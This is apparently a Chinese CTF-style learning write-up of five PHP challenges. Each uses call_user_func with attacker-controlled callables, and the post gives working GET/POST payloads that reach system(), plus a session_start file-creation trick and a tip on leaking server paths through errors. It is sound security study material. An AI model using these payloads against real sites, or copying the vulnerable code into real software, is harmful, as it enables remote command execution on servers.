当前位置: 首页 > news >正文

记一次学习--webshell绕过

目录

第一题

第二题

第三题

第四题

第五题


第一题

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func($action, ...$parameters);

上面题目,下面的call_user_func有一个可变长参数,这个可变长参数是$parameters然后上面有一个if语句判断$parameters是否有action,如果有就删除掉,然后再action参数传system,在parameters传你要执行的命令

http://192.168.244.152:8080/webshell/1.php?action=system&1=pwd

或者利用usort

http://192.168.244.152:8080/webshell/1.php?action=usort&0[0]=system&0[1]=pwd&1=call_user_func

第二题

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

首先这里$action和$parameters传递current,然后post传参的时候a传数组systemb传你要执行的命令,这里就是action传递的current被call_user_func调用,然后返回了$parameters的current,此时的$parameters是一个数组,数组中的值正是current,然后action的current返回了$parameters的current,现在就成了current(($_POST['a'])($_POST['b'])),然后a传递的也是一个数组a中的值被取出来是system,然后执行了b里面的命令如下图

POST /webshell/2.php?action=current&a=current HTTP/1.1
Host: 192.168.244.152:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 16a[]=system&b=pwd

 另外一种解法

action=Closure::fromCallable&0=Closure&1=fromCallablea=system&b=pwd

Closuer::fromCallable作用是将callable转化成闭包,然后上面传递的action传递Closuer::fromCallable将$parametersClosuer的fromCallable方法又执行了一手,然后又执行了system和你要执行的命令

第三题

<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters);if(count(glob(__DIR__.'/*'))>3){readfile('flag.txt');
}?>

这道题目要读取flag,且当前目录下的文件数目要大于三才可以读取,然后这里的思路就是创建文件。为啥不能像第一题一样直接传递。这个是因为第一题有一个可变长参数,然后将传递的值展开单个传递。但是第二题是直接将$parameters以一个数组的方式传递进去。所以第一题的方案不适合第三题。所以这里我们的思路就是创建文件。然后我们尝试输入一个错误参数,这里给到了物理路径。(这里就是入侵的一个小思路,有可能你以后遇到的代码,并且你可以控制一些页面元素。你就可以输入一个错误参数,让他报错就有可能将对方的物理路径爆出了)。

创建文件利用session_start。然后利用session_start的一个参数,修改session上传零食文件文件的目录,将上传的目录修改成刚刚爆出来的物理路径

然后我们写入

http://192.168.244.152:8080/webshell/3/3.php?action=session_start&save_path=/var/www/html/webshell/3

但是上面写入一个文件也只写入了一个文件,还没有达到代码的要求。那么再写入一个怎么办呢。我们修改一个cookie就可以再生成一个了,flag成功拿到

第四题

<?php
Class A{static function f(){system($_POST['a']);}
}$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}call_user_func($action, $parameters);

这里就是要利用这个A这个类里卖弄的f方法,然后call_user_func可以直接调用类方法,然后这里使用下面参数

action=call_user_func&0=A&1=f

如下call_user_func调用类的里面的方法的例子

抓包传参

第五题

<?php
Class A{static function f(string $a){system($a);}
}$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}call_user_func($action, $parameters);
echo $_POST['a'];

 我们这里也要想办法利用A中的f,这个就要利用ob_start,ob_start调用例子,这里和call_user_func调用差不多。只不过把call_user_func改成了ob_start

使用这个样本没有成功,但是其他同学成功了,怀疑是版本的问题

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 什么是RS485总线?
  • Redis高级---面试总结之内存过期策略及其淘汰策略
  • 基于yolov8的人头计数检测系统python源码+onnx模型+评估指标曲线+精美GUI界面
  • ctfhub-web-SSRF(FastCGI协议-DNS重绑定 Bypass)
  • Java算法之Gnome 排序
  • 基于web旅游信息平台的设计与实现
  • C语言习题~day38
  • Java项目: 基于SpringBoot+mysql图书个性化推荐系统分前后台 (含源码+数据库+答辩PPT+毕业论文)
  • mac nvm安装及使用(nvm安装指定版本node npm pnpm)
  • 「草莓」即将上线,OpenAI新旗舰大模型曝光,代号「猎户座」
  • 【vue2项目】爷孙组件怎么传值和调用方法
  • GPT带我学-设计模式-责任链模式
  • 游戏开发设计模式之外观模式
  • C语言补习课
  • 【GPT】基于GPT_API_free做一个自己的gpt
  • [译]前端离线指南(上)
  • Javascript 原型链
  • Java反射-动态类加载和重新加载
  • JS字符串转数字方法总结
  • Laravel Telescope:优雅的应用调试工具
  • OpenStack安装流程(juno版)- 添加网络服务(neutron)- controller节点
  • php ci框架整合银盛支付
  • SwizzleMethod 黑魔法
  • vue从创建到完整的饿了么(18)购物车详细信息的展示与删除
  • 从零开始的webpack生活-0x009:FilesLoader装载文件
  • 代理模式
  • 浮动相关
  • 规范化安全开发 KOA 手脚架
  • 前端之React实战:创建跨平台的项目架构
  • 如何打造100亿SDK累计覆盖量的大数据系统
  • 深入浅出Node.js
  • 项目实战-Api的解决方案
  • 走向全栈之MongoDB的使用
  • 关于Android全面屏虚拟导航栏的适配总结
  • ​MySQL主从复制一致性检测
  • ​力扣解法汇总946-验证栈序列
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • (13)DroneCAN 适配器节点(一)
  • (2)空速传感器
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (Oracle)SQL优化基础(三):看懂执行计划顺序
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (理论篇)httpmoudle和httphandler一览
  • (三)elasticsearch 源码之启动流程分析
  • (四)TensorRT | 基于 GPU 端的 Python 推理
  • (转)重识new
  • .NET C# 使用 SetWindowsHookEx 监听鼠标或键盘消息以及此方法的坑
  • .NET MVC第五章、模型绑定获取表单数据
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .NET 动态调用WebService + WSE + UsernameToken
  • .NET 中小心嵌套等待的 Task,它可能会耗尽你线程池的现有资源,出现类似死锁的情况
  • .net项目IIS、VS 附加进程调试
  • @antv/x6 利用interacting方法来设置禁止结点移动的方法实现。